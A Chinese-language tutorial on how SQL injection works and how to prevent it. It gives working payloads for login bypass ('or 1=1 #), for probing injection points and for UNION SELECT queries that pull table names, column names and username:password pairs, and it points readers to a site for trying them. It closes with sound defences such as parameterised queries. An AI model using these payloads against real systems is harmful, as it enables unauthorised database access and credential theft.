SQL注入的實(shí)現(xiàn)以及防范示例詳解
什么是SQL注入
SQL注入是指通過構(gòu)建特殊的輸入篡改原來的SQL語(yǔ)句達(dá)到攻擊者所需的操作。
Sql 注入產(chǎn)生原因
我們?cè)L問動(dòng)態(tài)網(wǎng)頁(yè)時(shí)往往會(huì)向服務(wù)器發(fā)送請(qǐng)求,服務(wù)器向數(shù)據(jù)訪問層發(fā)起 Sql 查詢請(qǐng)求,若驗(yàn)證通過就會(huì)執(zhí)行 Sql 語(yǔ)句。如果用戶輸入的數(shù)據(jù)被構(gòu)造成惡意Sql代碼,如果程序沒有細(xì)致地過濾用戶輸入的數(shù)據(jù)則會(huì)使非法數(shù)據(jù)侵入系統(tǒng)。
登錄案例講解
select * from admin where uname='用戶名' and pwd='密碼'
輸入 'or 1=1 #(–空格或–+或#:注釋掉后面的sql語(yǔ)句)
這時(shí)SQL語(yǔ)句變?yōu)椋?code>select * from admin where uname='' or 1=1 # and pwd='密碼',這時(shí)SQL語(yǔ)句永遠(yuǎn)成立,繞過登錄。
基于GET方式的SQL注入
通過在URL中修改對(duì)應(yīng)的ID值,為正常數(shù)字、大數(shù)字、字符(單引號(hào)、雙引號(hào)、雙單引號(hào)、括號(hào))、反斜杠來探測(cè)URL中是否有注入點(diǎn)。
可登陸到mituan.zone進(jìn)行測(cè)試
1、' '1'' LIMIT 0,1 ' :多了一個(gè)單引號(hào)
可猜測(cè)SQL語(yǔ)句為:select login_name,password from admin where id = 'id' limit 0,1
2、' ' LIMIT 0,1 ':多了一個(gè)單引號(hào)
可猜測(cè)SQL語(yǔ)句為:select login_name,password from admin where id = id limit 0,1
3、' '1'') LIMIT 0,1 ':多了一個(gè)單引號(hào)
可猜測(cè)SQL語(yǔ)句為:select login_name,password from admin where id = ('id') limit 0,1
4、單引號(hào)、括號(hào)都不報(bào)錯(cuò)說明被接收的是字符串類型' "1"") LIMIT 0,1 ':多了一個(gè)雙引號(hào)
可猜測(cè)SQL語(yǔ)句為:select login_name,password from admin where id = ("id") limit 0,1
…
SQL注入利用
1、利用order by判斷字段數(shù)
order by n(n為猜測(cè)字段數(shù))--+
以案例一為例
select login_name,password from admin where id = 'id' limit 0,1 用?id=1' order by 11--+
猜測(cè)錯(cuò)誤時(shí)則會(huì)報(bào)錯(cuò)

此時(shí)探測(cè)到有3個(gè)字段,用?id=0' union select 1,2,3--+探測(cè)到Login_name在第二列,Password在第三列,則第二、三列可利用。

將?id=0' union select 1,2,3--+2,3改為user():查看當(dāng)前MYSQL登錄用戶名,database():查看當(dāng)前使用MYSQL數(shù)據(jù)庫(kù)名,version():查看當(dāng)前MYSQL版本,如改為?id=0'union select 1,user(),database()--+ 得到下圖中信息

2、利用union select 聯(lián)合查詢,獲取表名。(在使用union select時(shí)要將前面的SQL語(yǔ)句報(bào)錯(cuò))
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3、利用union select 聯(lián)合查詢,獲取字段名。(以上面查詢到的users表為例)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4、利用union select 聯(lián)合查詢,獲取字段值。(以上面查詢到的users表為例)
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a為冒號(hào),用來分隔不同字段的值)

如果是地址欄不能顯示信息的POST形式則可以在對(duì)話框中輸入注入語(yǔ)句






這里使用的方法和在地址欄中的輸入一樣,都是先報(bào)錯(cuò)前面的SQL語(yǔ)句再使用union select聯(lián)合查詢拿出表中數(shù)據(jù)
SQL 注入的防范方法
- 對(duì)用戶的輸入進(jìn)行過濾。如:對(duì)用戶的輸入進(jìn)行校驗(yàn),可以通過正則表達(dá)式、限制長(zhǎng)度、對(duì)單引號(hào)和雙"-"進(jìn)行轉(zhuǎn)換等。
- 編寫程序時(shí)不要使用動(dòng)態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過程進(jìn)行數(shù)據(jù)查詢存取。
- 不要直接使用管理員權(quán)限的數(shù)據(jù)庫(kù)連接,每個(gè)應(yīng)用使用單獨(dú)的且權(quán)限有限的數(shù)據(jù)庫(kù)。
- 不要把機(jī)密信息直接存放,加密或者h(yuǎn)ash掉密碼和敏感的信息。
- 程序的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行包裝。
總結(jié)
到此這篇關(guān)于SQL注入的實(shí)現(xiàn)以及防范的文章就介紹到這了,更多相關(guān)SQL注入實(shí)現(xiàn)及防范內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
數(shù)據(jù)庫(kù)設(shè)計(jì)的折衷方法
這篇文章主要介紹了數(shù)據(jù)庫(kù)設(shè)計(jì)的折衷方法,需要的朋友可以參考下2007-03-03
SQLite 創(chuàng)建數(shù)據(jù)庫(kù)實(shí)例操作
這篇文章主要介紹了SQLite 創(chuàng)建數(shù)據(jù)庫(kù)實(shí)例操作,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),感興趣的朋友跟隨小編一起看看吧2024-05-05
解決Navicat Premium 15連接數(shù)據(jù)庫(kù)閃退的問題
這篇文章主要介紹了Navicat Premium 15連接數(shù)據(jù)庫(kù)閃退,本文給大家分享解決方法,對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2021-03-03
數(shù)據(jù)庫(kù)運(yùn)維人員DBA工作總結(jié)
中大型公司都會(huì)有一些專攻數(shù)據(jù)庫(kù)方面的牛人,專門的職位叫做DBA,對(duì)于公司的DBA他們的價(jià)值不可小覷,只要是數(shù)據(jù)庫(kù),就有吞吐量的限制,數(shù)據(jù)庫(kù)訪問瓶頸便是自然流量增長(zhǎng)或者流量突增造成的2023-10-10
mssql數(shù)據(jù)同步實(shí)現(xiàn)數(shù)據(jù)復(fù)制的步驟
需要用到mssql數(shù)據(jù)同步的朋友可以參考本文和上一篇文章2008-09-09
大數(shù)據(jù)量,海量數(shù)據(jù)處理方法總結(jié)
大數(shù)據(jù)量的問題是很多面試筆試中經(jīng)常出現(xiàn)的問題,比如baidu google 騰訊這樣的一些涉及到海量數(shù)據(jù)的公司經(jīng)常會(huì)問到。2010-11-11

